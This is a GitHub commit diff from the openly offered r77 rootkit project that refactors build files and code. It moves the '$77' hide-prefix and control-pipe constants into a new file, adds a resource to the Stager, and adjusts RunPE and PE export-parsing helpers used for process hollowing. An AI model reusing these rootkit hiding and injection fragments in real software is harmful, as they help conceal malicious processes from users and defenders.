Skip to content

Commit a1bd694

Browse files
author
bytecode77
committed
Refactoring
1 parent 72b68a1 commit a1bd694

File tree

13 files changed

+51
-26
lines changed

13 files changed

+51
-26
lines changed

BuildTask/BuildTask.csproj

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,9 @@
4141
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
4242
<Link>Properties\GlobalAssemblyInfo.cs</Link>
4343
</Compile>
44+
<Compile Include="..\Global\R77Const.cs">
45+
<Link>Properties\R77Const.cs</Link>
46+
</Compile>
4447
<Compile Include="BuildTask.cs" />
4548
</ItemGroup>
4649
<ItemGroup />

Example/Example.csproj

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,9 @@
6262
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
6363
<Link>Properties\GlobalAssemblyInfo.cs</Link>
6464
</Compile>
65+
<Compile Include="..\Global\R77Const.cs">
66+
<Link>Properties\R77Const.cs</Link>
67+
</Compile>
6568
<Compile Include="Properties\AssemblyInfo.cs" />
6669
<Page Include="MainWindow.xaml">
6770
<Generator>MSBuild:Compile</Generator>

Global/GlobalAssemblyInfo.cs

Lines changed: 1 addition & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -2,16 +2,4 @@
22

33
[assembly: AssemblyVersion("1.4.3")]
44
[assembly: AssemblyFileVersion("1.4.3")]
5-
[assembly: AssemblyCopyright("© bytecode77, 2023.")]
6-
7-
namespace Global
8-
{
9-
// These constants must match the preprocessor definitions in r77def.h
10-
public static class Config
11-
{
12-
public const string HidePrefix = "$77";
13-
public const ushort R77ServiceSignature = 0x7273;
14-
public const ushort R77HelperSignature = 0x7268;
15-
public const string ControlPipeName = HidePrefix + "control";
16-
}
17-
}
5+
[assembly: AssemblyCopyright("© bytecode77, 2023.")]

Global/R77Const.cs

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
namespace Global
2+
{
3+
// These constants must match the preprocessor definitions in r77def.h
4+
public static class Config
5+
{
6+
public const string HidePrefix = "$77";
7+
public const ushort R77ServiceSignature = 0x7273;
8+
public const ushort R77HelperSignature = 0x7268;
9+
public const string ControlPipeName = HidePrefix + "control";
10+
}
11+
}

Service/ProcessListener.h

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -27,9 +27,6 @@ typedef struct _NEW_PROCESS_LISTENER
2727
/// </summary>
2828
/// <param name="interval">The interval, in milliseconds, between each enumeration of running processes.</param>
2929
/// <param name="callback">The function that is called, when a process is found that was not present in the previous enumeration.</param>
30-
/// <returns>
31-
/// A pointer to the newly created NEW_PROCESS_LISTENER structure.
32-
/// </returns>
3330
VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback);
3431
static DWORD WINAPI NewProcessListenerThread(LPVOID parameter);
3532

Stager/Helper.cs

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,7 @@ public static bool Is64BitOperatingSystem()
2525
{
2626
using (Process process = Process.GetCurrentProcess())
2727
{
28-
bool wow64;
29-
if (IsWow64Process(process.Handle, out wow64))
28+
if (IsWow64Process(process.Handle, out bool wow64))
3029
{
3130
return wow64;
3231
}

Stager/RunPE.cs

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,10 @@ public static void Run(string path, string commandLine, byte[] payload, int pare
110110
// If the current attempt failed, terminate the created process to not have suspended "leftover" processes.
111111
Process.GetProcessById(processId).Kill();
112112
}
113-
catch { }
113+
catch
114+
{
115+
}
116+
114117
continue;
115118
}
116119

Stager/Stager.csproj

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,10 @@
3838
<PropertyGroup>
3939
<StartupObject />
4040
</PropertyGroup>
41+
<PropertyGroup />
42+
<PropertyGroup>
43+
<Win32Resource>A:\Code\GitHub\r77-rootkit\Stager\Stager.res</Win32Resource>
44+
</PropertyGroup>
4145
<ItemGroup>
4246
<Reference Include="System" />
4347
</ItemGroup>
@@ -64,6 +68,9 @@
6468
<ItemGroup>
6569
<None Include="Resources\Service64.exe" />
6670
</ItemGroup>
71+
<ItemGroup>
72+
<Content Include="Stager.res" />
73+
</ItemGroup>
6774
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
6875
<PropertyGroup>
6976
<PostBuildEvent>xcopy /Y "$(TargetPath)" "$(SolutionDir)Install\Resources"</PostBuildEvent>

Stager/Stager.res

32 Bytes
Binary file not shown.

TestConsole/TestConsole.csproj

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,9 @@
6767
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
6868
<Link>Properties\GlobalAssemblyInfo.cs</Link>
6969
</Compile>
70+
<Compile Include="..\Global\R77Const.cs">
71+
<Link>Properties\R77Const.cs</Link>
72+
</Compile>
7073
<Compile Include="Controller\ConfigSystemEntry.cs" />
7174
<Compile Include="Controller\ConfigSystemDirectory.cs" />
7275
<Compile Include="Controller\ConfigSystem.cs" />

r77.sln

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
1+
22
Microsoft Visual Studio Solution File, Format Version 12.00
33
# Visual Studio Version 17
44
VisualStudioVersion = 17.1.32328.378
@@ -55,6 +55,7 @@ EndProject
5555
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Global", "Global", "{054A9EE5-7740-4460-A561-D0AC8CF051EF}"
5656
ProjectSection(SolutionItems) = preProject
5757
Global\GlobalAssemblyInfo.cs = Global\GlobalAssemblyInfo.cs
58+
Global\R77Const.cs = Global\R77Const.cs
5859
EndProjectSection
5960
EndProject
6061
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallShellcode", "InstallShellcode\InstallShellcode.vcxitems", "{DEAB25FD-2042-4BD6-BF4B-0802DCCC70F5}"

r77api/r77def.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#ifndef _R77DEF_H
22
#define _R77DEF_H
33

4-
// These preprocessor definitions must match the constants in GlobalAssemblyInfo.cs
4+
// These preprocessor definitions must match the constants in r77Const.cs
55

66
/// <summary>
77
/// The prefix for name based hiding (e.g. processes, files, etc...).

r77api/r77win.c

Lines changed: 15 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -684,10 +684,10 @@ BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)
684684
{
685685
switch (ntHeaders->OptionalHeader.Magic)
686686
{
687-
case 0x10b:
687+
case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
688688
*is64Bit = FALSE;
689689
return TRUE;
690-
case 0x20b:
690+
case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
691691
*is64Bit = TRUE;
692692
return TRUE;
693693
}
@@ -786,10 +786,20 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
786786
DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName)
787787
{
788788
BOOL is64Bit;
789-
if (IsExecutable64Bit(image, &is64Bit) && BITNESS(is64Bit ? 64 : 32))
789+
if (IsExecutable64Bit(image, &is64Bit))
790790
{
791-
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
792-
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
791+
PIMAGE_EXPORT_DIRECTORY exportDirectory;
792+
if (is64Bit)
793+
{
794+
PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
795+
exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
796+
}
797+
else
798+
{
799+
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
800+
exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
801+
}
802+
793803
LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames));
794804
LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals));
795805

0 commit comments

Comments
 (0)